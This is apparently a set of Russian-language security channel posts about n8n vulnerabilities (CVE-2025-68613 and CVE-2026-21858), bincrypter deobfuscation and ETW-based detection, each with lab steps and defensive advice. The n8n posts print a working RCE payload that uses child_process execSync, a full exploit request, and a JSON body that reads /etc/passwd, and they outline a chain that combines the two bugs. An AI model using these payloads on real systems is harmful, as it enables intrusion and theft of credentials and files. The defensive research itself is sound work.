5) execute step.
Например, value может выглядеть так:
Смягчающий фактор: для атаки нужно авторизироваться.
🫡 Пример атаки
Запрос:
Часть ответа:
🫡 Лабораторная
В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить
🫡 Как защищаться
Блокировать POST-запросы на
CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.
Base score: 9.9 critical
CWE: CWE-913
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.
1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.
Например, value может выглядеть так:
{{ (function() { var require = this.process.mainModule.require; var { execSync } = require("child_process"); return execSync("id", { encoding: "utf8" }).trim(); })() }}Смягчающий фактор: для атаки нужно авторизироваться.
Запрос:
{"workflowData":{"name":"cmd","nodes":[{"parameters":{},"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[0,0],"id":"8609d8a2-6b0e-4029-acfc-f9fd0c8e2d37","name":"When clicking ‘Execute workflow’"},{"parameters":{"assignments":{"assignments":[{"id":"e576a768-68f6-450c-99d5-089122627914","name":"","value":"={{ (function() { var require = this.process.mainModule.require; var { execSync } = require(\"child_process\"); return execSync(\"id\", { encoding: \"utf8\" }).trim(); })() }}","type":"string"}]},"options":{}},"type":"n8n-nodes-base.set","typeVersion":3.4,"position":[208,0],"id":"e385a6e4-f0dc-4b52-b5c1-5b594f49e56e","name":"Edit Fields"}],"pinData":{},"connections":{"When clicking ‘Execute workflow’":{"main":[[{"node":"Edit Fields","type":"main","index":0}]]}},"active":false,"settings":{},"tags":[],"versionId":"9ca41c70-8dc0-4fde-9e7c-6b5f99040518","meta":null,"id":"IlnKYKYHiRWvL7Gp"},"runData":{},"startNodes":[],"destinationNode":"Edit Fields"}Часть ответа:
"data":"[{\"startData\":\"1\",\"resultData\":\"2\",\"executionData\":\"3\"},{\"destinationNode\":\"4\",\"runNodeFilter\":\"5\"},{\"runData\":\"6\",\"pinData\":\"7\",\"lastNodeExecuted\":\"4\"},{\"contextData\":\"8\",\"nodeExecutionStack\":\"9\",\"metadata\":\"10\",\"waitingExecution\":\"11\",\"waitingExecutionSource\":\"12\"},\"Edit Fields\",[\"13\",\"4\"],{\"When clicking ‘Execute workflow’\":\"14\",\"Edit Fields\":\"15\"},{},{},[],{},{},{},\"When clicking ‘Execute workflow’\",[\"16\"],[\"17\"],{\"startTime\":1766556431228,\"executionIndex\":0,\"source\":\"18\",\"hints\":\"19\",\"executionTime\":1,\"executionStatus\":\"20\",\"data\":\"21\"},{\"startTime\":1766558489574,\"executionIndex\":1,\"source\":\"22\",\"hints\":\"23\",\"executionTime\":4,\"executionStatus\":\"20\",\"data\":\"24\"},[],[],\"success\",{\"main\":\"25\"},[\"26\"],[],{\"main\":\"27\"},[\"28\"],{\"previousNode\":\"13\",\"previousNodeOutput\":0,\"previousNodeRun\":0},[\"29\"],[\"30\"],[\"31\"],{\"json\":\"32\",\"pairedItem\":\"33\"},{\"json\":\"34\",\"pairedItem\":\"35\"},{},{\"item\":0},{\"\":\"36\"},{\"item\":0},\"uid=1000(node) gid=1000(node) groups=1000(node)\"]В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить
docker-compose up. После установки в консоли вы увидите адрес и порт n8n-сервиса, на него необходимо перейти и закончить настройку. Далее необходимо выполнить все шаги выше. Блокировать POST-запросы на
/rest/workflows, где значение переменой value ноды set передается строка вида {{CODE}}. CODE можно заменить на опасные JS-функции, например, require, child_process, execSync, toString и другие.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19⚡3🤔3❤1
Вскрываем bincrypter
В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.
👍 В новой статье мы подробно разбираем архитектуру bincrypter: как формируются секции shebang/init/payload, зачем нужен offset R, как обфусцируются base64-строки и каким образом выполняется финальная расшифровка нагрузки. Отдельно показываем, как извлекать ключевые переменные, чистить мусор и восстанавливать исходный исполняемый файл.
Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.
И да, с наступающими!❤️
В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.
Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.
И да, с наступающими!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20❤9⚡5👍4🤯1
ETW для детектирования сложных атак
Если уже не хочется смотреть на оливье и новогодние фильмы, предлагаем почитать о ETW-провайдерах!
Использовали ли вы когда-нибудь ETW-провайдеры как источник телеметрии для детектирования атак? Мы выделили наиболее интересные ETW-провайдеры из множества доступных в Windows.
😬 Microsoft-Windows-DotNETRuntime — провайдер, который отслеживает различные события среды CLR.
😬 Microsoft-Windows-RPC — провайдер, который позволяет выявлять, какой конкретно RPC-метод пытались вызвать на эндпоинте.
😬 Microsoft-Windows-Threat-Intelligence — провайдер режима ядра, с помощью которого можно строить детекты на различные сложные методы инъекций: Process Hollowing, Early Bird APC Injection и так далее.
В статье можете прочитать больше про эти ETW-провайдеры и узнать о примерах атак, которые можно детектировать с их помощью (ToolShell, .NET Assembly Injection, Atexec-pro).
Бонус: также в статье мы поревёрсили ядро Windows и разобрали принцип работы провайдера Microsoft-Windows-Threat-Intelligence — от инициализации провайдера до примера генерации события выделения виртуальной памяти (Скриншот 1) с правами на исполнение. А еще описали способ обхода ETW-телеметрии — технику ETW Patching (Скриншот 2).
Если уже не хочется смотреть на оливье и новогодние фильмы, предлагаем почитать о ETW-провайдерах!
Использовали ли вы когда-нибудь ETW-провайдеры как источник телеметрии для детектирования атак? Мы выделили наиболее интересные ETW-провайдеры из множества доступных в Windows.
В статье можете прочитать больше про эти ETW-провайдеры и узнать о примерах атак, которые можно детектировать с их помощью (ToolShell, .NET Assembly Injection, Atexec-pro).
Бонус: также в статье мы поревёрсили ядро Windows и разобрали принцип работы провайдера Microsoft-Windows-Threat-Intelligence — от инициализации провайдера до примера генерации события выделения виртуальной памяти (Скриншот 1) с правами на исполнение. А еще описали способ обхода ETW-телеметрии — технику ETW Patching (Скриншот 2).
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤5👍2😁2💅2
Начнем год с Ni8mare и лабораторной 😈
Мы уже писали о n8n в прошлом году. Но пока отдыхали, в сети появился новый эксплойт на уязвимость — CVE-2026-21858. Она связана с путаницей типов, которая позволяет переопределить внутреннее состояние и может привести к чтению или исполнению произвольных файлов.
🫡 Подобнее об уязвимости
При HTTP-запросе n8n смотрит заголовок Content-Type и решает, как распарсить тело запроса.
— Если ожидается multipart/form-data, то n8n должен вызывать безопасный парсер загрузки файлов.
— Вообще путаница типов возникает, когда злоумышленник подменяет MIME type на application/json или что-то другое. И из-за ошибки Content-Type Confusion вызывается обычный парсер тела (parseBody()), который присваивает данные напрямую в req.body без проверки и защиты. То есть вызовется обычный парсер тела запроса вместо парсера загрузки файла. Это позволяет читать произвольный файл в функции prepareFormReturnItem для webhook через:
🫡 Пример json
А вот и лабораторная.
1️⃣ Скачайте в комментариях файл docker-compose, который необходимо запустить через
2️⃣ Настройте Workflow, как показано на скриншоте 1.
3️⃣ Отправьте произвольный файл.
4️⃣ Перехватите запрос, например в Burp Suite.
5️⃣ Измените его тип и содержимое.
6️⃣ Отправьте измененный запрос.
Уязвимость может быть использована как часть RCE-цепочки.
1) Получите данные авторизации через чтение фалов CVE-2026–21858.
2) Выполните удаленный код через CVE-2025–68613.
🫡 Как защищаться
1) В настройках Workflow настроить авторизацию для формы.
2) Блокировать запросы к форме загрузки файлов с типом application/json.
3) Обновиться.
Мы уже писали о n8n в прошлом году. Но пока отдыхали, в сети появился новый эксплойт на уязвимость — CVE-2026-21858. Она связана с путаницей типов, которая позволяет переопределить внутреннее состояние и может привести к чтению или исполнению произвольных файлов.
При HTTP-запросе n8n смотрит заголовок Content-Type и решает, как распарсить тело запроса.
— Если ожидается multipart/form-data, то n8n должен вызывать безопасный парсер загрузки файлов.
— Вообще путаница типов возникает, когда злоумышленник подменяет MIME type на application/json или что-то другое. И из-за ошибки Content-Type Confusion вызывается обычный парсер тела (parseBody()), который присваивает данные напрямую в req.body без проверки и защиты. То есть вызовется обычный парсер тела запроса вместо парсера загрузки файла. Это позволяет читать произвольный файл в функции prepareFormReturnItem для webhook через:
returnItem.binary![fileCount++] = await context.nodeHelpers.copyBinaryFile( file.filepath, file.originalFilename, file.mimetype );
{
"files": {
"test": {
"filepath": "/etc/passwd"
}
}
}А вот и лабораторная.
docker-compose up. Уязвимость может быть использована как часть RCE-цепочки.
1) Получите данные авторизации через чтение фалов CVE-2026–21858.
2) Выполните удаленный код через CVE-2025–68613.
1) В настройках Workflow настроить авторизацию для формы.
2) Блокировать запросы к форме загрузки файлов с типом application/json.
3) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8👍7🔥4🤔1